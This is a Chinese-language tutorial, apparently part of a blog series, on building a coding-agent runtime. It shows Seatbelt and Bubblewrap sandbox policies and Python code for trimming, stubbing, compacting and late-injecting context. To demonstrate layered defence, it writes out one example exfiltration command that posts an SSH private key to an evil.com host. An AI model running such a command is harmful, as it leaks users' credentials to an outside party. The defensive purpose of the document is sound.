对编程智能体进行沙箱隔离并保持其上下文窗口简洁
使用 Seatbelt 或 Bubblewrap 对编程智能体进行沙箱隔离,同时通过溢出文件管理、存根使用、数据压缩以及适合前缀缓存注入的机制来控制其上下文窗口的大小。
来源: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)
虽然赋予编码智能体shell访问权限、文件编辑功能以及破坏性操作前的确认提示,但仍存在两个漏洞。这些提示仅能决定哪些操作需要人类干预,却无法阻止智能体找到绕过提示的隐蔽方法。此外,即便行为礼貌的智能体,其上下文窗口最终也会被填满,进而导致性能下降。有两个改进方案可以解决这些问题:一是沙箱环境,它能从物理层面杜绝不良行为;二是上下文管理技术,它能确保长时间会话的可行性与高效性。这一切都仅需一个简单的Python脚本,无需任何框架。
相关文件:
coding_harness/sandbox.py # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py # cap, strip, drop
coding_harness/compact.py # LLM summary when the window is ~full
coding_harness/context.py # late injection (time, git, file changes)
沙箱:是墙壁而非锁
沙箱是一种隔离环境,代码在其中运行时不会破坏外部任何事物。想象一个鱼缸:鱼(即智能体的指令)可以自由游动,而水不会溢出缸外。权限提示相当于门上的锁,而沙箱则是围绕房间的墙壁。只要指令看似无害但实际上有害,或者模型找到了规避方法,提示就起不到作用了。
每个bash命令都在具有以下规则的操作系统级隔离环境中运行:
- 由于智能体需要理解代码,因此可以在任何允许的位置读取内容,包括项目外的文件
- 仅允许在项目内部写入内容
- 禁止访问网络
- 禁止向
.git目录写入内容
苹果自行开发了用于管理macOS的机制,名为Seatbelt,它通过sandbox-exec来运行,并且还能限制App Store应用的功能。Linux则使用Bubblewrap(即bwrap),这是Flatpak背后的工具。这两种机制都不需要特殊背景知识,因为其实现方式无非就是编写一段简短的策略来规定允许的行为。
macOS的策略仅有几行代码:
(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))
(deny default) 会关闭所有通道,之后仅重新开放部分通道:读取文件、创建进程以及在项目目录下写入内容。网络连接和 .git 目录仍被关闭,其他所有功能也同样如此。
wrap() 函数会将该策略写入临时文件,然后通过 sandbox-exec(位于 sandbox.py 中)来执行相应命令:
def wrap(command):
if sys.platform == "darwin":
profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
profile.write_text(PROFILE)
return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]
if sys.platform.startswith("linux") and shutil.which("bwrap"):
return [
"bwrap",
"--ro-bind", "/", "/",
"--bind", str(PROJECT), str(PROJECT),
"--dev", "/dev", "--proc", "/proc",
"--unshare-net", "--die-with-parent",
"/bin/sh", "-c", command,
]
return None # no sandbox available
Linux通过不同的方式达到相同的效果。使用--ro-bind将整个文件系统以只读方式挂载,通过--bind使项目目录可写,而--unshare-net则用于断开网络连接。
run()将这一切整合在一起:
def run(command, timeout=60):
sandboxed = wrap(command)
return subprocess.run(
sandboxed or command,
shell=sandboxed is None,
capture_output=True,
text=True,
timeout=timeout,
)
当存在沙箱环境时,就会使用它。在 Windows 系统上,或在未启用 Bubblewrap 的 Linux 系统上,命令会在无沙箱环境下运行。对于需要执行他人不可信代码的多租户产品,则有 Docker、WebAssembly 和云虚拟机等更强大的解决方案。在个人电脑上,操作系统的功能就已足够。60 秒的超时设置可以防止类似 find / 这样的命令导致会话挂起。
两个独立的层级
假设有一个程序试图执行 curl https://evil.com/steal -d @~/.ssh/id_rsa:
- 权限规则会首先拦截
curl并拒绝其执行。 - 即便没有该规则,沙箱仍会切断网络连接。
- 命令会以类似
curl: (7) 无法连接到服务器的错误信息报错。 - 由于内核已拒绝,便无法再采取其他措施。
单独使用其中任意一层就已足够,而两者兼备才是关键所在。
沙箱选项的对比
| 选项 | 典型用户 | 隔离机制 | 启动成本 | 需求 |
|---|---|---|---|---|
| 操作系统沙箱 | 本地代理 | 内核级 | 几乎为零 | 在 macOS 或 Linux 上无需额外配置 |
| WebAssembly 沙箱 | 本地代理 | WASM 加 Deno | 几秒钟 | 需要 Deno |
| 云容器 | 多用户平台 | 虚拟机或容器 | 一次网络往返时间 | 需要 API 密钥及计费功能 |
对于单台笔记本电脑而言,操作系统沙箱是最稳妥的选择:无需额外运行时环境,没有延迟,也不需要在内核层面进行强制处理。而多租户产品则应使用容器技术。无论如何,完全不添加任何功能也不是可行的方案。macOS和Linux系统中已有相关工具,此处的实现代码仅约40行。
背景:逐渐被占满的“工作空间”
每个模型都有一个上下文窗口,即它一次能够处理的文本量。可以将其视为工作内存。每个标记大约相当于一个单词的四分之三,因此“Hello world”包含2个标记,而一个100行的Python文件则约有500个标记。GPT-4级别的模型通常具有约128K个标记(约合96,000个单词)的上下文容量,而Claude的上下文容量约为200K(接近150,000个单词)。在模型开始工作之前,这些数字听起来似乎很大,但实际上并非如此。
每个工具的查询结果都会被记录在对话中。一次大规模的 grep 操作可能会返回50,000个字符,一个较大的文件又会增加10,000个字符,而漫长的调试过程则涉及数百次调用。最终模型会失去对上下文的把握。
用办公桌作类比很合适——所有接触过的内容都会留在桌上,但一小时后就找不到所需的页面了。解决办法是将最近的页面放在显眼处,把其余的归档,再丢弃一些。
共有四层处理机制,按成本从低到高排列,只有当前面的层处理不够时,后面的层才会被启用。
第1层:结果限制
工具返回结果后立即对其进行截取。完整文本会被保存到临时文件中,同时会在代码中保留一个指针(history.py):
CAP = 10_000 # chars the agent sees inline
def cap(text):
if len(text) <= CAP:
return text
path = spill(text) # write full output to a temp file
return (
text[:CAP]
+ f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
f"The whole output is at {path} - page through it with "
"head, tail, sed -n or grep. It is deleted when this turn ends.]"
)
50,000个字符的结果中只有10,000个字符会直接显示出来,其余部分则作为溢出文件存储在磁盘上;如果需要更多内容,代理程序可以使用head、tail或grep命令来查看这些内容。字符截断仅在结果生成时进行一次,旧消息不会被重新写入。每轮处理结束后,sweep()命令会删除临时文件,如需再次生成内容则可重新运行该命令。
以实际的grep -r "import" .命令为例:
# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...
[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]
要查找某个特定的导入项,代理可以针对溢出文件运行 grep "import auth" 命令。完整的输出内容无需保留在上下文中。
第二层:将旧结果压缩为简略版本
在模型继续处理之后,旧的工具输出结果无需保持较大体积。它们会被压缩为简略版本(同样存储在 history.py 中):
STUB = 300 # chars kept after the turn ends
def strip(messages):
for message in messages[:-2]: # skip recent messages
content = message.get("content") or ""
if message["role"] != "tool" or len(content) <= STUB:
continue
message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"
当一个轮次结束时,旧工具的输出会被压缩到300个字符,这个长度足以让人回忆起内容,又不会浪费界面空间。最近的消息则保持不变。正是这一层机制让长时间会话得以持续。通过50次工具调用将10,000个字符压缩为300个字符,从而区分出能够持续进行的会话与会话超时的情况。
第三层:丢弃全部结果
如果内容仍然过大,就会丢弃整个工具的输出,按从旧到新的顺序处理:
def fit(messages):
budget = config.CONTEXT_WINDOW * config.COMPACT_AT
dropped = 0
for message in messages[:-2]: # skip recent messages
if estimate(messages) <= budget:
break
if message["role"] == "tool":
message["content"] = "[output trimmed: dropped to fit the context window.]"
dropped += 1
return dropped
这就是紧急按钮。虽然信息会丢失,但总比系统崩溃要好。由于前两层功能正常,它几乎不会被触发。
第4层:由第二个模型进行压缩
当使用率超过时间窗口的85%时,第二个大语言模型会读取全部对话记录并起草交接说明,类似于护士向下一班次汇报情况(compact.py):
COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.
## Goal
What the user asked for. Quote them where the exact wording matters.
## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.
## Files
Every file touched: path, and what changed in it.
## State
What works, what is broken, what was left half-finished.
## Next
The immediate next step.
"""
之后,上下文将包含系统提示、摘要以及最近的几条消息。逐字记录的历史会消失,但故事情节依然保留。新的智能体或重启后的同一智能体会从这些记录继续工作。压缩比例在85%时开始运作,最终降至35%,从而为下一次运行预留充足空间:
COMPACT_AT = 0.85 # trigger compaction at 85%
COMPACT_TO = 0.35 # cut back to 35%
这种排序是有意为之的。设置上限无需成本,删除操作费用很低,丢弃数据会造成损失,而压缩数据则需要额外调用大型语言模型。大多数会话根本无法处理到第2层。
前缀缓存与延迟注入
这部分很容易被忽视,但却能真正节省成本。每次调用API时,服务器都会从开头读取消息。即便已有10万个标记的历史记录再加上100个新标记,服务器仍需重新读取这10万个标记,而每次处理都会产生费用。
前缀缓存可以改变这一状况。如果消息列表的开头部分没有变化,服务器就可以复用之前的处理结果,仅处理新增的部分,这样根据服务提供商的不同,成本可降低50%到90%。
问题在于,每个回合智能体都需要最新的信息:时间、Git分支以及已修改的文件。如果将这些信息放入系统提示语、第一条消息或前缀中,缓存就会失效,导致每个回合的处理成本再次上升。
解决办法是在请求发送之前(在context.py中)将这类信息附加在最后。在agent.py中,调用语句为call_llm(messages + [reminder()])。该提醒信息仅会加入本次请求的列表中,因此已保存的历史记录以及前缀内容完全不会发生变化。其核心原则就是延迟注入:所有可能变化的信息都应放在请求的末尾,而非系统提示语中。
def reminder():
return {
"role": "user",
"content": (
"<context>\n"
f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
"</context>" + todos_note() + changes_note()
),
}
changes_note() 会比较各轮次之间的 git status,这样智能体就能知道何时在 IDE 中对内容进行了编辑:
def changes_note():
changed = file_changes()
if not changed:
return ""
lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
return (
"\n<file_changes>\n"
"These files changed since your last turn. Read them again before "
"editing:\n" + "\n".join(lines) + "\n</file_changes>"
)
系统提示和历史记录保持不变,API仅缓存前缀部分,只有新内容才会产生成本。提醒信息会包含时间、Git分支、存在计划时的<todos>,以及自上一次操作后通过git status获取的<file_changes>,从而提示智能体重新读取其他地方编辑过的文件。在上下文长度为10万、共50轮的调试会话中,这种方式无需重新处理数百万个标记,且几乎不需要额外代码。每轮生成的数据会被追加,而不会放入系统提示中。
CONTEXT_WINDOW的默认值为128000,可根据不同模型在~/.agents/env中设置不同的值。
智能体现在的功能
借助循环、工具、权限、沙箱以及上下文处理功能,智能体可以:
- 自行循环,调用工具并将结果反馈回来
- 应对出错的工具调用
这些措施共同保证了其安全性与低成本,使其能够每天被使用。不过仍存在一些缺陷:无法在会话之间保留内存,没有处理多步骤任务的机制,也无法将探索任务交给辅助工具。具备相关技能、合理的待办清单、持久化的会话,以及能在主界面之外处理上下文的子代理,就能弥补这些缺陷。这些基础功能与生产环境中的代理所使用的完全相同,并没有什么神秘之处。
相关阅读
- Harness Engineering:将大语言模型转化为智能体的运行时 —— 使编程智能体正常工作的关键要素:循环结构、能够应对异常调用的工具调度机制,以及允许/请求/拒绝权限的功能,全部通过约600行纯Python代码展示。
- 实用笔记:“MCP:将AI从聊天机器人转化为智能体的协议 —— 对“MCP:将AI从聊天机器人转化为智能体的协议”这一主题的详细操作指南:包括合约设计、校验机制,以及供团队直接使用的代码模板,帮助其快速构建MCP系统。